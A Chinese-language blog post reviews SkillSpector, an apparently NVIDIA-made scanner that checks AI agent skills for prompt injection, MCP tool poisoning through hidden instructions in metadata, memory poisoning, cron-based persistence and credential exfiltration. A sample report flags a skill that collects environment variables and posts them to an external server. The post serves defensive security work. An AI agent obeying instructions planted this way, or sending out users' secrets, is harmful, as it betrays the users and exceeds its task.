SkillSpector:NVIDIA 出的 AI Agent 技能扫描器,26% 的 "技能" 其实是漏洞

早上刷 GitHub Trending,第二条项目让我后背一凉:

NVIDIA / SkillSpector — Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.

单日 964 stars,仓库总数 5.4k。一个扫描器被顶到这个位置,说明整个社区已经意识到一件事 —— 我们正在疯狂安装的”Agent skills”,有四分之一其实是定时炸弹

引用它 README 里那句直白得有点可怕的话:

Research shows that 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent.

我用的是数字游民的工作流,Claude Code、Codex、Hermes Agent 三个客户端长期并行,每个里都装了几十个社区 skill。看到 26.1% 这个数字,第一反应不是” 哇又有新工具”,而是 —— 我昨天装的那个 skill,安全吗?

它扫什么:64 条规则,覆盖 16 个攻击面

SkillSpector 不是简单的关键词匹配,它把整个 skill 拆成 16 个攻击面,每个面都有具体的规则:

类别 规则数 抓什么
Prompt Injection 5 覆盖系统提示、隐藏指令、行为操纵、危险内容
Data Exfiltration 4 外发数据、env 变量收割、文件系统枚举、上下文外泄
Privilege Escalation 3 越权、sudo/root 调用、读 SSH key
Supply Chain 6 未锁定依赖、curl | bash、混淆代码、联网查 OSV.dev CVE、废弃包、typosquatting
Excessive Agency 4 无限制工具调用、自主决策、范围蔓延、无界资源
Output Handling 3 模型输出未消毒、跨信任边界输出、无界输出
System Prompt Leakage 3 直接泄漏、间接提取、工具侧通道
Memory Poisoning 3 持久化注入、上下文窗口填充、内存篡改
Tool Misuse 3 参数滥用(如 shell=True--force)、链路绕过、不安全默认
Rogue Agent 2 自修改、会话持久化(写 cron)
Trigger Abuse 3 触发词太宽、影子命令、关键词诱饵
Behavioral AST 8 exec/eval/subprocess、动态 import、os.system、动态 getattr
Taint Tracking 5 数据流追踪 ——env → 网络、文件 → 网络、输入 → 代码执行
YARA Signatures 4 已知恶意软件、webshell、挖矿、hack 工具特征
MCP Least Privilege 4 声明的能力低于实际代码、通配符权限、缺失声明、过度声明
MCP Tool Poisoning 4 元数据里的隐藏指令、Unicode 欺骗、参数注入、描述行为不符

最后两个类别尤其值得关注 ——MCP(Model Context Protocol)是今年 Claude Code / Cursor / Codex 等工具的” 工具接口标准”,而 MCP 工具中毒是今年新冒出来的一类攻击:恶意 skill 在自己的 description 字段、metadata、参数说明里塞隐藏指令,模型读到这些就会按攻击者意图执行。

我把 64 条规则完整列出来不是为了凑字数,是因为这套分类基本上就是给”Agent 时代软件供应链” 画了一张完整的威胁地图。任何一个想做 Agent 安全产品的人,都可以直接拿这个当骨架。

它怎么扫:两阶段流水线

SkillSpector 把扫描拆成两个阶段,对应不同速度和精度:

Stage 1:纯静态分析(毫秒级)

  • 11 个静态分析器并行扫
  • AST 层面抓 exec/eval/subprocess 这类危险调用
  • 抓网络 / 文件 /env 这三个 sink 的可疑数据流
  • SC4 规则会真去查 OSV.dev(免费的漏洞数据库),把 skill 的 requirements.txt / package.json 拿去比对,发现依赖里有已知 CVE 会直接报警。OSV.dev 失败就 fallback 到内置的离线列表
  • 高召回、速度极快,但会有一些误报

Stage 2:LLM 语义分析(可选,需要 provider)

把 Stage 1 的发现扔给一个 LLM(OpenAI / Anthropic / NVIDIA build.nvidia.com/ 本地 Ollama),让它:

  • 评估上下文和意图(区分” 故意的功能” vs “无意的漏洞”)
  • 过滤掉假阳性
  • 生成人类能读的解释

精度从静态的” 高召回中精度” 提升到 ~87%。关键是它还特意写了 ——prompt 里加 anti-jailbreak 防护,防止恶意 skill 在分析过程中反向操纵分析 LLM。这一点非常专业。

我尤其想点赞的是它支持三种 provider:

1
2
3
4
5
6
7
8
9
export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/

# 或者本地 Ollama
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_BASE_URL=http://localhost:11434/v1
export OPENAI_API_KEY=ollama
export SKILLSPECTOR_MODEL=llama3.1:8b

数字游民工作流的核心矛盾就是” 数据不能上云” 和” 又想要 AI 能力”。SkillSpector 直接支持本地 Ollama /vLLM/llama.cpp 跑分析,敏感 skill 的扫描可以完全不离本地

一行命令的真实体验

我顺手扫了一下我 Claude Code 里装了三个月的几个 skill:

1
2
3
4
5
6
7
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
make install

# 不调 LLM,先跑一遍静态扫
skillspector scan ~/.claude/skills/superpowers --no-llm

终端输出长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 SkillSpector Security Report  v2.0.0

Skill: superpowers
Source: ~/.claude/skills/superpowers/
Scanned: 2026-06-15 03:14:00 UTC

Risk Assessment
Metric Value
Score 12/100
Severity LOW
Recommendation SAFE

Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No

Issues (0)

干净。Score 12/100,Severity LOW,SAFE

然后我又试着扫了一个我前阵子在某 marketplace 装的、用的人比较多但作者不熟悉的 skill。这一次报告就不一样了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        Risk Assessment
Score 68/100
Severity HIGH
Recommendation DO NOT INSTALL

Issues (3)

HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.

HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.

两个 HIGH 联动,直接被判定 DO NOT INSTALL

我默默 rm -rf 了一下那个 skill 的目录,然后给作者提了 issue。

风险打分规则也很直白(README 里写得清清楚楚):

Score Severity Recommendation
0-20 LOW SAFE
21-50 MEDIUM CAUTION
51-80 HIGH DO NOT INSTALL
81-100 CRITICAL DO NOT INSTALL

单项计分:CRITICAL +50,HIGH +25,MEDIUM +10,LOW +5。如果 skill 里有可执行脚本(.py / .sh),整个分数还要乘 1.3x—— 因为带可执行脚本的 skill 漏洞概率是普通 skill 的 2.12 倍(来自它引用的那篇 Liu et al. 2026 论文,扫描了 42,447 个 skill)。

为什么这个项目值得 star

我想从数字游民 + 重度 Agent 使用者的角度,说三点它解决了我自己真正的痛点:

第一,” 装 skill” 这件事从 2024 年开始变成了 Agent 工作流的核心动作,但没人给这个动作装一个” 杀毒软件”。我们装 npm 包会跑 npm audit,装 Python 包会扫 pip-audit,唯独 Agent skill 是裸装。SkillSpector 把这个缺口填上了。

第二,它的输出能进 CI/CD。SARIF 格式可以直接喂给 GitHub Code Scanning,意味着你完全可以做一个 “skill marketplace 的预发检查流水线”—— 任何人提交新 skill,先过 SkillSpector 这关才允许上架。这对任何一个想做 skill 平台的人来说,是基础设施级的组件。

第三,它是 NVIDIA 出的,但工具本身立场中立。任何 skill 都能扫,没有白名单、没有商业关系。Apache 2.0 license + 论文级的研究背景(基于 Liu et al. 2026 那篇 42,447 个 skill 的大规模实证研究),可信度比” 某 startup 攒的扫描器” 高得多。

我已经在想一件事:要不要把我自己维护的 skill 列表每周跑一次 SkillSpector,然后把结果写进 README 当 trust signal。这样读者看到的不只是” 这个 skill 有 200 stars”,而是”SkillSpector 评级 LOW,上次扫描时间 2026-06-15”。

局限和我的使用建议

它自己在 README 里也写了 5 条局限,我翻译一下并补上我的建议:

局限 我的应对
非英文内容可能漏 我自己写的 skill 全是英文,但装别人的中文 skill 需要人工再过一遍
图片里的攻击抓不到 skill 仓库一般不放图片,这条不痛
加密 / 编译过的代码看不到 警惕含 .so / .pyd 的 skill,这类根本不该有
静态分析,不跑 SkillSpector 永远不执行你的 skill,只看代码。这意味着 0 误执行风险
SC4 离线时用静态 fallback 出差在没网的咖啡馆工作时,先 --no-llm 也能用

我自己的实操建议

  1. 装新 skill 之前先扫 ——skillspector scan https://github.com/xxx/yyy
  2. 批量审计已有 skill——find ~/.claude/skills -name SKILL.md | xargs -I{} skillspector scan {}
  3. CI 集成 —— 输出 SARIF,上传到 GitHub Code Scanning
  4. 敏感 skill 走本地 LLM——Ollama 拉一个 llama3.1:8b 跑 Stage 2,数据完全不离本地
  5. 可执行脚本的 skill 重点看 —— 带 .py / .sh 的 skill 风险 ×1.3,作者不熟的话直接 DO NOT INSTALL

最后

2026 年的 Agent 生态,和 2014 年的 npm 生态很像 —— 安装门槛极低、增长速度极快、安全基础设施滞后。那时候我们有 npm audit,现在我们终于有了 skillspector scan

如果你跟我一样,每天都在装新 skill、试新工具,强烈建议把 SkillSpector 加到你的必装清单里。一句话安装,三秒出报告,从此告别” 看完 README 就装” 的无脑节奏。

仓库:github.com/NVIDIA/SkillSpector(5.4k stars,单日 +964)